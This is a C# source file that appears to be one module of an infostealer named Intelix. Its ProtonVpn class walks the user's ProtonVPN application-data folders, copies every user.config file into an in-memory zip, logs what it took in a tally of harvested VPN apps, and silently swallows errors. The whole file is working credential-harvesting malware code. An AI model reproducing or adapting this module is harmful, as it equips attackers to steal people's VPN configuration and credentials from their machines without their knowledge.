51 lines
1.2 KiB
C#
51 lines
1.2 KiB
C#
using System;
|
|
using System.IO;
|
|
using System.Threading.Tasks;
|
|
using Intelix.Helper.Data;
|
|
|
|
namespace Intelix.Targets.Vpn;
|
|
|
|
public class ProtonVpn : ITarget
|
|
{
|
|
public void Collect(InMemoryZip zip, Counter counter)
|
|
{
|
|
string text = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData), "ProtonVPN");
|
|
if (!Directory.Exists(text))
|
|
{
|
|
return;
|
|
}
|
|
Counter.CounterApplications counterApplications = new Counter.CounterApplications();
|
|
counterApplications.Name = "ProtonVPN";
|
|
Parallel.ForEach(Directory.GetDirectories(text), delegate(string dir)
|
|
{
|
|
try
|
|
{
|
|
if (dir.Contains("ProtonVPN_"))
|
|
{
|
|
Parallel.ForEach(Directory.GetDirectories(dir), delegate(string version)
|
|
{
|
|
try
|
|
{
|
|
string path = Path.Combine(version, "user.config");
|
|
if (File.Exists(path))
|
|
{
|
|
string entryPath = "ProtonVpn\\" + Path.GetFileName(version) + "\\user.config";
|
|
zip.AddFile(entryPath, File.ReadAllBytes(path));
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
});
|
|
}
|
|
}
|
|
catch
|
|
{
|
|
}
|
|
});
|
|
counterApplications.Files.Add(text + " => ProtonVpn");
|
|
counterApplications.Files.Add("ProtonVpn\\");
|
|
counter.Vpns.Add(counterApplications);
|
|
}
|
|
}
|